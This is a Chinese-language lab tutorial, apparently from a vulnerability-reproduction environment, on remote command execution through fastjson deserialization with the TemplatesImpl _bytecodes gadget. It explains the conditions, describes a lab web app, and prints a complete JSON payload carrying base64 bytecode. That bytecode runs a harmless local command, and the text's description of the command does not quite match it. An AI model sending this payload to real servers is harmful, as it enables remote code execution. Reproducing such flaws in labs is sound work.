fastjson 反序列化导致任意命令执行漏洞
fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并通过 json 来填充其属性值。而 JDK 自带的类 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
中有一个私有属性 _bytecodes
,其部分方法会执行这个值中包含的 Java 字节码。
漏洞原理
- http:// xxlegend.com/2017/04/29/title- %20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
- https://github.com/shengqi158/fastjson-remote-code-execute-poc
所以,想要使用 TemplatesImpl
的 _bytecodes
属性执行任意命令,有几个条件:
- 目标网站使用 fastjson 库解析 json
- 解析时设置了
Feature.SupportNonPublicField
,否则不支持传入私有属性 - 目标使用的 jdk 中存在
TemplatesImpl
类
当然不排除有其他不需要 TemplatesImpl
的利用方法
漏洞复现
本环境目录结构如下:
- src 本项目源码
- main/java java 类
- IndexFilter.java web 源码
- Poc.java POC 源码
- main/java java 类
- pom.xml 配置文件,使用 maven 可以直接将本项目编译成 war 包
- exploit.php 读取编译好的 POC 字节码,并转换成 base64
- fastjson-1.0.war 打包好的 web 环境,可以直接放到 tomcat 下运行
生成字节码
第一步就是编写一个 Java 类,在这个类中执行命令。然后编译该类,获得.class 文件,获得字节码。
修改 Poc.java 中你想要执行的命令,然后在本目录下使用 maven 对本项目进行编译,生成 target/classes/Poc.class
:
mvn compile
如果没有安装 maven,也可以直接使用 fastjson-1.0.war 这个压缩包中的 WEB-INF/classes/Poc.class
。exploit.php 中就是读取的这个我已经编译好的 class 文件。
构造 POC
生成.class 文件后,将该文件的内容进行 base64 编码,放在 json 中_bytecodes 的值的位置,如下:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMUG9jOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcALwwAMAAxAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAyADMBAANQb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACwAEAAwADQANAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEQAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAZAAgAGgAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
如果想使用已经编译好的.class 文件,可以直接执行 php exploit.php 获得 POC:
使用 jdk1.8 编译,执行的命令是 touch /tmp/success
,所以在 Windows 下会执行失败。Windows 用户请自己修改 Poc.java,生成自己的 POC。
漏洞利用
目标是一个 web 应用,访问返回“Hello world”。正常 POST 一个 json,目标会提取 json 对象中的 name 和 age 拼接成一句话返回:
发送步骤二中获取的 POC,成功执行命令:
如上图,/tmp/success 文件成功被创建。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
上一篇: FreeBSD 安装 Xorg
下一篇: 彻底找到 Tomcat 启动速度慢的元凶
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论